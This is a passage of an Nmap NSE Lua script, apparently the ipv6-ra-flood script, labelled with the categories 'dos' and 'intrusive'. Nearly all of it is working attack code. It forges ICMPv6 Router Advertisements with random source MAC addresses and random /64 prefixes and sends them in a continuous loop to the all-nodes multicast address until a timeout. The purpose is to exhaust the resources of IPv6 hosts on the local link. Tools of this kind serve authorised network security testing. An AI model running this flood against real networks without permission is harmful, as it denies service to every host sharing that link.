,timeout=10s'
author = "Adam Števko"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"dos", "intrusive"}
try = nmap.new_try()
math.randomseed(os.time())
prerule = function()
if nmap.address_family() ~= "inet6" then
stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME)
return false
end
if not nmap.is_privileged() then
stdnse.print_debug("Running %s needs root privileges.", SCRIPT_NAME)
return false
end
if not stdnse.get_script_args(SCRIPT_NAME .. ".interface") and not nmap.get_interface() then
stdnse.print_debug("No interface was selected, aborting...", SCRIPT_NAME)
return false
end
return true
end
local function get_interface()
local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") or nmap.get_interface()
local if_table = nmap.get_interface_info(arg_interface)
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
return if_table.device
else
stdnse.print_debug("Interface %s not supported or not properly configured, exiting...", arg_interface)
end
end
--- Generates random MAC address
-- @return mac string containing random MAC address
local function random_mac()
local mac = string.format("%02x:%02x:%02x:%02x:%02x:%02x", 00, 180, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
return mac
end
--- Generates random IPv6 prefix
-- @return prefix string containing random IPv6 /64 prefix
local function get_random_prefix()
local prefix = string.format("2a01:%02x%02x:%02x%02x:%02x%02x::", math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
return prefix
end
--- Build an ICMPv6 payload of Router Advertisement.
-- @param mac_src six-byte string of the source MAC address.
-- @param prefix 16-byte string of IPv6 address.
-- @param prefix_len integer that represents the length of the prefix.
-- @param valid_time integer that represents the valid time of the prefix.
-- @param preferred_time integer that represents the preferred time of the prefix.
-- @param mtu integer that represents MTU of the link
-- @return icmpv6_payload string representing ICMPv6 RA payload
local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferred_time, mtu)
local ra_msg = string.char(0x0, --cur hop limit
0x08, --flags
0x00,0x00, --router lifetime
0x00,0x00,0x00,0x00, --reachable time
0x00,0x00,0x00,0x00) --retrans timer
local mtu_option_msg = string.char(0x00, 0x00) .. -- reserved
packet.numtostr32(mtu) -- MTU
local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto
packet.set_u32("....", 0, valid_time) .. -- valid lifetime
packet.set_u32("....", 0, preferred_time) .. -- preferred lifetime
string.char(0,0,0,0) .. --unknown
prefix
local icmpv6_mtu_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_MTU, mtu_option_msg)
local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION, prefix_option_msg)
local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR, mac_src)
local icmpv6_payload = ra_msg .. icmpv6_mtu_option .. icmpv6_prefix_option .. icmpv6_src_link_option
return icmpv6_payload
end
--- Broadcasting on the selected interface
-- @param iface table containing interface information
local function broadcast_on_interface(iface)
stdnse.print_verbose("Starting " .. SCRIPT_NAME .. " on interface " .. iface)
-- packet counter
local counter = 0
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
arg_timeout = arg_timeout or 30
local dnet = nmap.new_dnet()
try(dnet:ethernet_open(iface))
local dst_mac = packet.mactobin("33:33:00:00:00:01")
local dst_ip6_addr = packet.ip6tobin("ff02::1")
local prefix_len = 64
--- maximum possible value of 4-byte integer
local valid_time = tonumber(0xffffffff)
local preferred_time = tonumber(0xffffffff)
local mtu = 1500
local start, stop = os.time()
while true do
local src_mac = packet.mactobin(random_mac())
local src_ip6_addr = packet.mac_to_lladdr(src_mac)
local prefix = packet.ip6tobin(get_random_prefix())
local packet = packet.Frame:new()
packet.mac_src = src_mac
packet.mac_dst = dst_mac
packet.ip_bin_src = src_ip6_addr
packet.ip_bin_dst = dst_ip6_addr
local icmpv6_payload = build_router_advert(src_mac, prefix, prefix_len, valid_time, preferred_time, mtu)
packet:build_icmpv6_header(134, 0, icmpv6_payload)
packet:build_ipv6_packet()
packet:build_ether_frame()
try(dnet:ethernet_send(packet.frame_buf))
counter = counter + 1
if arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start then
stop = os.time()
break
end
end
if counter > 0 then
stdnse.print_debug("%s generated %d packets in %d seconds.", SCRIPT_NAME, counter, stop - start)
end
end
function action()
local interface = get_interface()
broadcast_on_interface(interface)
end
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